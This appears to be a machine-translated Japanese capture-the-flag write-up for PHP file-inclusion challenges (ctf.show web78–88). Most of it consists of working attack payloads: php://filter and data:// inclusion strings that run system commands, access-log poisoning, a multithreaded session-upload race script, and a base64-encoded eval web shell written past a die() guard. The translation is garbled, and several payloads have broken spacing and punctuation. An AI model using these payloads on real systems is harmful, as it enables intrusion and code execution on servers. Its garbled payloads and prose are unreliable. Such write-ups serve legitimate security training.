記事のディレクトリ
WEB78
何も話すことはありません
ペイロード:?file = php://filter/read=convert.base64-encode/resource=falg.php
web79
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
最初にソースコードを見てみ
ましょう。PHPがフィルタリングされているため、以前のペイロードは使用できなくなりました。ここでは、メソッドを直接変更します。参考記事:https://www.freebuf.com/column/148886.html
はこの文を使用しています
ペイロード:?file = data:// text / plain; base64、PD9waHAgcGhwaW5mbygpPz4 =
実行できることがわかったら、別のコマンドを実行して実行します。
ここには落とし穴があります。つまり、ラベルを閉じることができません。<?php system( 'cat flag.php');
ペイロード:?file = data:// text / plain; base64、PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs =
web80
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
ローカルに含まれている参照記事
ログgetshell
user_Agent antsword
接続を変更するためのパケットをキャプチャします
データプロトコル間でincludeを使用することはできません。open_basedirをバイパスする必要があります
コマンド実行の7つの姿勢を実現するための参照リンクphp疑似プロトコル
/var/log/nginx/access.log
web81
80と同じものもログに含まれます。
web82_86
スクリプトを直接強制終了します
import io
import requests
import threading
sessID = 'flag'
url = 'http://296b5d26-334c-4459-b7a6-b16db5aad264.challenge.ctf.show:8080/'
# 1.设置信号
# 使用Event的set()方法可以设置Event对象内部的信号标志为真。Event对象提供了isSet()方法来判断其内部信号标志的状态,当使用event对象的set()方法后,isSet()方法返回真.
def write(session):
while event.isSet():
f = io.BytesIO(b'a' * 1024 * 50)
response = session.post(
url,
cookies={
'PHPSESSID': sessID},
data={
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat *.php");?>'},
files={
'file': ('test.txt', f)}
)
def read(session):
while event.isSet():
response = session.get(url + '?file=/tmp/sess_{}'.format(sessID))
if 'test' in response.text:
print(response.text)
event.clear()
else:
print('[*]retrying...')
if __name__ == '__main__':
event = threading.Event()
event.set()
with requests.session() as session:
for i in range(1, 30):
threading.Thread(target=write, args=(session,)).start()
for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()
WEB87
参照リンク
さまざまな変数がバイパスするために死にます。
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
Base64はバイパスできます/
phpdieが正確に6バイトであり、さらに2が4の倍数であり、bse64でデコードできます。
構築物の
PHP://filter/write=convert.base64-decode/resource=1.php
二回エンコード後のURL
payload
file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30
content = aaPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs / Pg == php:// filter
の使用
、php:// filterの魔法について話します
web88
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
1.フィルタリング済み。ファイルの疑似プロトコルは使用できません
。2。phpphp://プロトコルはフィルタリングされています。プロトコルは使用できません
。3。絶対パスは不明です。zip://&bzip2://& zlib://プロトコル
4.フィルタリングなし。\\ data://プロトコル
ペイロードを使用できます(=記号はフィルタリングされているため、削除することを忘れないでください)。
?file = data:// text / plain; base64、PD9waHAgc3lzdGVtKCdjYXQgZionKTsgPz4